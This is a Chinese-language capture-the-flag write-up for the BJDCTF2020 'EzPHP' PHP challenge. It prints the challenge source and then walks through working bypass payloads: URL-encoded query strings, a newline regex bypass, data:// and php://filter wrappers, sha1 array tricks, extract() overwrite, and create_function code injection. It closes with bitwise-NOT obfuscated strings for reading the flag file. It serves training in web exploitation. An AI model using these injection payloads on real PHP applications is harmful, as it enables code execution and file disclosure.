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[BJDCTF2020]EzPHP.md

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[BJDCTF2020]EzPHP

知识点

php代码审计

$_SERVER

preg_match

$_REQUEST

file_get_contents

extract变量覆盖

create_function

解题

在源码里base64解密后发现1nD3x.php，进入1nD3x.php发现一串源码

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

一个个的绕过

$_SERVER['QUERY_STRING']绕过

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

?之后的字符就是，不管输入什么。它有一个特性：它不会对url编码进行解码。所以这里直接url编码绕过

preg_match绕过

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

若preg_match('/^.*$/',subject)，preg_match只会匹配第一行。参考文章：戳我，在debu参数后加%0a即可。

$_REQUEST绕过

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}

它接收$_GET和$_POST的数据，如果get和post一样的参数名，它会优先选择post形式传入的参数的值。

file_get_contents

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

1.php://input

2.data://

sha数组绕过及extract变量覆盖

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

create_function

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

create_function()函数有两个参数$args和$code，用于创建一个lambda样式的函数

比如：

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于：

function myfunc($a, $b){
    return $a+$b;
}

但是如果第二个参数没有限制（$code=return$a+$b;}eval($_POST['cmd']);//），就会变成：

function myfunc($a, $b){
  return $a+$b;
}eval($_POST['cmd']);//}

通过手工闭合}使后面的代码eval()逃逸出了myFunc()得以执行，然后利用注释符//注释掉}保证了语法正确。

这道题就可以用flag[code]=create_function来创建一个函数，用flag[arg]去闭合它，然后用get_defined_vars函数去返回由所有已定义变量所组成的数组，别忘记最后注释掉后面的内容保证语法准确。

?file=data://text/plain,base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute%0a
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

POST
file=1&debu=2
    
    ?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=%7d%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f

然后需要读取rea1fl4g.php

1.过滤了include和引号，还可以用require()

}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

buuctf上改了改，把flag给unset了，所以得换种办法

2.伪协议

&rce=php://filter/read=convert.base64-encode/resource=rea1fl4g.php
&flag[arg]=;}require(get_defined_vars()[_GET][rce]);//

//POST记得加个rce=2
//读取get_defined_vars()里的['_GET'][rce]，然后include出来。
//如果只是require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)是不行的。中间的伪协议串需要取反/异或来绕过最后一个正则
&%66%6c%61%67[%61%72%67]=%3b%7d%72%65%71%75%69%72%65%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%5b%5f%47%45%54%5d%5b%72%63%65%5d%29%3b%2f%2f
&rce=%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%72%65%61%31%66%6c%34%67%2e%70%68%70

3.取反+伪协议

取反可直接绕过正则

php://filter/read=convert.base64-encode/resource=rea1fl4g.php取反一下

;}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//

异或不行，禁了^

4.define定义变量，fopen、fgets读取内容

;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);//

参考文章